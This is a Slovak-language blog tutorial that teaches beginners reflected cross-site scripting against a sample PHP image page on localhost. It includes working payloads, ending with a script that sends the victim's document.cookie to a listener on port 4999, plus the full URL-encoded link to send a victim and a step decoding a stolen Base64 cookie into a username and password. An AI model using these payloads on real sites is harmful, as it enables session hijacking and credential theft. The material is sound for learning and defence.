Chceš sa stať hackerom? Začni s XSS! [Breaking Bad spoiler alert!]

XSS, alebo “Cross-Site Scripting” je často využívaná technika na zmanipulovanie slabo ošetrených zadávacích políčok. Cieľom môže byť mnoho vecí – napríklad zobrazenie nami naprogramovaého obsahu alebo krádež používateľských údajov. V dnešnom článku bude však cieľom sa najmä zabaviť, keďže XSS je ľahko pochopiteľný koncept pre kohokoľvek so základnou znalosťou HTML, takže je vhodným “introm” pre zvedavcov a začínajúcich hackerov.

Svet kyberbezpečnosti je tak široký ako ďaleko dovidíte. Nespočetné množstvo techník, nástrojov a slabín z neho robia dobrodružstvo každý deň a ak ste niekedy pozerali seriály ako C.S.I. Miami, alebo N.C.I.S., pravdepodobne pravdepodobne máte o hackeroch rôzne šialené predstavy.

Takže čo to vlastne hackeri robia? Dalo by sa to prirovnať k malým deťom: ich úlohou je zničiť, poškodiť alebo inak znehodnotiť čokoľvek im dáte do ruky. Na rozidel od malých detí to ale robia o niečo sofistikovanejšie.

Poďme k veci!

Vezmime si napríklad túto super-bezpečnú stránku, ktorá zobrazuje obrázky na základe linku, ktorý zadáte do políčka:

Ak cez túto stránku načítame obrázok, môžeme sa zamyslieť trochu nad tým, ako asi vyzerá kód.

Na základe vyhľadávacieho políčka úplne hore sme zistili, že web jednoducho vezme to, čo sme zadali, hodí to do GET url parametra z tamaď to načíta na stránke. Môžeme si teda tipnúť, že php kód na pozadí môže cca vyzerať nejak takto:

<?php 
   $url = $_GET["pic"];
   echo "< img src='$url' width='150px' >"
?>

Vidíme teda, že kód nie je ošetrený pred zlomyseľným vstupom, môžeme sa teda skúsiť dostať von zo “src=” atribútu a zobraziť používateľovi výstražné okienko s hackerským textom. Je to sranda!

Skúsme teda do políčka zadať jendoducho znak ” ‘ ” a sledovať čo sa stane so zdrojovým kódom webu:

So starým dobrým “inspect elementom” vo vyhľadávači zobrazíme kód a uvidíme následujúce:

Vzhľadom na to, že kód na back-ende chcel vložiť link medzi dve apostrofy, no zároveň neočakával, že by to isté skúsil používateľ, podarilo sa nám v html kóde vytvoriť chybu. Zistili sme teda, že stránka je zraniteľná voči technike XSS!

Poďme teda našu hackerskú “nálož” viac prepracovať, a donútiť stránku, aby na nej zobrazila niečo iné ako obrázok – napríklad okienko s upozornením. Využijeme teda error, ktorý sme apostrofom vytvorili a pomocou atribútu “onerror” rozkážeme stránke, čo urobiť ak nastane chyba. Na konci taktiež pridáme HTML koment, ktorý zakomentuje zvyšok elementu, čím nám dá viac kontroly nad kódom:

' onerror='alert("You have been hacked!");'> <!----

Skúsme túto nálož hodiť do okienka a počkať, čo sa stane:

Presne ako sme predpokladali! Stránka vôbec netušila, že ide o hackerský útok a s kľudom zobrazila nami zadaný odkaz – to by na správne ošetrenej stránke nebolo možné.

Gratulujem ktokoľvek si. Si oficiálne hacker/ka!

Ako ukradnúť heslo pomocou XSS

Príklad vyššie by nám ako hackerom nebol veľmi užitočný. Maximálne by sme mohli link s infikovaným GET url parametrom poslať kamošovi a spôsobiť mu stres z fiktívneho hackerského útoku. To je ale nuda. Poďme skúsiť niečo užitočnejšie.

Na tomto príklade sa pokúsime ukradnúť používateľovsi jeho Cookies, obsahujúce citlíve údaje – prihlasovacie meno a heslo!

Ale najprv kúsok nutnej teórie o Cookies:

V jednoduchosti, Cookies sú kúsky zašifrovaných dát uložené vo vašom prehliadači. Slúžia na identifikáciu vášho prehliadača a využívajú sa napríklad na to, aby ste sa nemuseli zakaždým prihlasovať do svojho účtu na danej webstránke. S Cookies sa serveru identifikujete a ten vás pustí ďalej bez prihlásenia.

– Niekto niekde na Stack Overflow

Vráťme sa teda späť ku našej predošlej náloži a upravme ju tak, aby namiesto odkazu o útoku zobrazila používateľove Cookies:

' onerror='alert(document.cookie);'> <!----

Krása. Útok ide presne podľa nášho plánu.

Čo ďalej? To, čo aktuálne máme stále nie je veľmi použiteľné, keďže s týmto útokom sme zobrazili iba svoje keksíky. My sme predsa hackeri čo znamená, že bez loginu a hesla práca nekončí.

Vytvoríme si hackerský server, ktorý bude čakať na náhodnom porte, kým sa naň niekto pripojí:

Opäť upravíme nálož. Tentokrát sa pokúsi napojiť na náš hackerský server a načítať neexistujúci súbor. Ako meno súboru zvolíme Cookie našej obete. Tentokrát však nevyužijete “onerror”:

'> 
<script>

document.getElementById("picture").src="http://127.0.0.1:4999/"
                                                   + document.cookie
</script> <!----

Vizuálne sa na webe nič nezmenilo. Inšpekciou zdrojáku však vidíme, že nálož fungovala:

Nie len to! Keď prejdeme do konzoly a skontrolujeme náš hackerský server vidíme na ňom dopyt po súbore obsahujúci používateľský Cookie!

V reálnom útoku by hacker poslal URL s takto infikovaným GET dopytom obeti. Potom by už len čakal kým obeť link otvorí, čím obdrží jej Cookie súbor.

Infikovaná URLčka by teda vyzerala takto:

http://localhost:8000/show_pic.php?pic=%27+%3E+%3Cscript%3Edocument.getElementById%28%22picture%22%29.src%3D%22http%3A%2F%2F127.0.0.1%3A4999%2F%22%2Bdocument.cookie%3C%2Fscript%3E%3C%21----

Dopyt na našom serveri po otvorení linku by vyzeral takto:

Oranžovou farbou vidíme náš loot. Posledným krokom k úspešnému obdržaniu mena a hesla je dekódovať Cookie. Podľa znakov na konci by sme si mohli tipnúť, že ide o Base64 encoding. Teóriu vyskúšame na jednom z dostupných online dekóderov:

Ako vidíme, nielenže sme úspešne obdržali meno a heslo, podarilo sa nám získať aj priznanie viny k vražde.

Teraz sme už naozaj hackermi!

Leave a Reply

Your email address will not be published. Required fields are marked *